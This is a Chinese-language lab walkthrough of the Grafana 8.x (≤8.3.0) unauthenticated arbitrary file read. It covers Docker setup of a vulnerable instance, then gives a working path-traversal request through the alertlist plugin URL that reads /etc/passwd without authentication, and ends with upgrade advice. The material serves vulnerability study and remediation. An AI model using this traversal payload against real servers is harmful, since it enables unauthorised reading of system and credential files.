Grafana是一个跨平台的开源的度量分析和可视化工具,主要用于查询并可视化展示采集的数据。Grafana提供了丰富的可视化展示方式,包括快速灵活的客户端图表,拥有不同方式的可视化指标和日志的面板插件以及丰富的仪表盘插件,包括热图、折线图、图表等。
漏洞简介
Grafana某些版本存在未授权任意文件读取漏洞,可不经身份验证读取服务器上的文件。
影响版本
Grafana8.x <= Grafana8.3.0
环境搭建
1、Docker镜像站收录了多个版本的Grafana,可执性docker pullgrafana/grafana:x.x.x-ubuntu命令拉取镜像。
2、执行docker pullgrafana/grafana:8.3.0-ubuntu命令拉取grafana版本为8.3.0的ubuntu镜像。

3、执行docker run --rm -it -d -p8080:3000 grafana/grafana:8.3.0-ubuntu命令运行grafana/grafana:8.3.0-ubuntu镜像。

4、8080端口开放代表容器运行成功。

5、访问http://ip:8080端口,看到以下界面代表环境已部署成功。

漏洞利用过程
1、访问http://ip:8080/plugins可看到grafana中已安装的插件如下图。

2、点击AlertList获取当前插件名称为alertlist。
3、利用burpsuite抓取一个get请求包,构造uri:/public/plugins/alertlist/../../../../../../../../../etc/passwd,即可读取到目标服务器上的/etc/passwd文件。

4、将cookie值删除,访问/public/plugins/alertlist/../../../../../../../../../etc/passwd,也可读取到目标服务器上的/etc/passwd文件。

修复建议
根据官方发布说明,8.3.1已修复该漏洞,将Grafana版本更新到8.3.1即可。